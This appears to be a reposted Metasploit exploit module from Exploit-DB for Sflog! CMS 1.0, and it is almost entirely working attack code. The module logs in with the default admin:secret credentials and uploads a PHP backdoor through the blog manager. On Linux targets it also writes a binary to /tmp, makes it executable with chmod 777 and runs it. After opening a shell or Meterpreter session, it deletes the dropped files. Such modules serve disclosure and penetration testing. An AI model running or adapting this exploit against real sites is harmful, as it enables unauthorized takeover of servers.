Sflog! CMS 1.0 – Arbitrary File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2012-09-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/21138/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::EXE
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
    			'Description'=> %q{
    				This module exploits multiple design flaws in Sflog 1.0.By default, the CMS has
    				a default admin credential of "admin:secret", which can be abused to access
    				administrative features such as blogs management.Through the management
    				interface, we can upload a backdoor that's accessible by any remote user, and then
    				gain arbitrary code execution.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'dun',#Discovery, PoC
    					'sinn3r'#Metasploit
    				],
    			'References' =>
    				[
    					['OSVDB', '83767'],
    					['EDB', '19626']
    				],
    			'Payload'=>
    				{
    					'BadChars' => "\x00"
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction' => "none"
    				},
    			'Platform' => ['linux', 'php'],
    			'Targets'=>
    				[
    				[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }],
    				[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Jul 06 2012",
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
    				OptString.new('USERNAME',[true, 'The username to login with', 'admin']),
    				OptString.new('PASSWORD',[true, 'The password to login with', 'secret'])
    			], self.class)
    	end
    
    
    	def check
    		target_uri.path << '/' if target_uri.path[-1,1] != '/'
    		base = File.dirname("#{target_uri.path}.")
    
    		res = send_request_raw({'uri'=>"#{base}/index.php"})
    
    		if not res
    			return Exploit::CheckCode::Unknown
    		elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/
    			return Exploit::CheckCode::Detected
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    
    	#
    	# Embed our binary in PHP, and then extract/execute it on the host.
    	#
    	def get_write_exec_payload(fname, data)
    		p = Rex::Text.encode_base64(generate_payload_exe)
    		php = %Q|
    		<?php
    		$f = fopen("#{fname}", "wb");
    		fwrite($f, base64_decode("#{p}"));
    		fclose($f);
    		exec("chmod 777 #{fname}");
    		exec("#{fname}");
    		?>
    		|
    		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
    		return php
    	end
    
    
    	def on_new_session(cli)
    		if cli.type == "meterpreter"
    			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
    		end
    
    		@clean_files.each do |f|
    			print_status("#{@peer} - Removing: #{f}")
    			begin
    				if cli.type == 'meterpreter'
    					cli.fs.file.rm(f)
    				else
    					cli.shell_command_token("rm #{f}")
    				end
    			rescue ::Exception => e
    				print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
    			end
    		end
    	end
    
    
    	#
    	# login unfortunately is needed, because we need to make sure blogID is set, and the upload
    	# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
    	# directly.
    	#
    	def do_login(base)
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => "#{base}/admin/login.php",
    			'vars_post' => {
    				'userID' => datastore['USERNAME'],
    				'password' => datastore['PASSWORD']
    			}
    		})
    
    		if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/
    			return res.headers['Set-Cookie']
    		else
    			return ''
    		end
    	end
    
    
    	#
    	# Upload our payload, and then execute it.
    	#
    	def upload_exec(cookie, base, php_fname, p)
    		data = Rex::MIME::Message.new
    		data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
    		data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
    		data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
    		data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")
    
    		# The app doesn't really like the extra "\r\n", so we need to remove the newline.
    		post_data = data.to_s
    		post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
    
    		print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{base}/admin/manage.php",
    			'ctype'=> "multipart/form-data; boundary=#{data.bound}",
    			'data' => post_data,
    			'cookie' => cookie,
    			'headers' => {
    				'Referer' => "http://#{rhost}#{base}/admin/manage.php",
    				'Origin'=> "http://#{rhost}"
    			}
    		})
    
    		if not res
    			print_error("#{@peer} - No response from host")
    			return
    		end
    
    		target_path = "#{base}/blogs/download/uploads/#{php_fname}"
    		print_status("#{@peer} - Requesting '#{target_path}'...")
    		res = send_request_raw({'uri'=>target_path})
    		if res and res.code == 404
    			print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
    			return
    		end
    
    		handler
    	end
    
    
    	def exploit
    		@peer = "#{rhost}:#{rport}"
    
    		target_uri.path << '/' if target_uri.path[-1,1] != '/'
    		base = File.dirname("#{target_uri.path}.")
    
    		print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
    		cookie = do_login(base)
    
    		if cookie.empty?
    			print_error("#{@peer} - Unable to login")
    			return
    		end
    
    		php_fname ="#{Rex::Text.rand_text_alpha(5)}.php"
    		@clean_files = [php_fname]
    
    		case target['Platform']
    		when 'php'
    			p = "<?php #{payload.encoded} ?>"
    		when 'linux'
    			bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
    			@clean_files << bin_name
    			bin = generate_payload_exe
    			p = get_write_exec_payload("/tmp/#{bin_name}", bin)
    		end
    
    		upload_exec(cookie, base, php_fname, p)
    	end
    end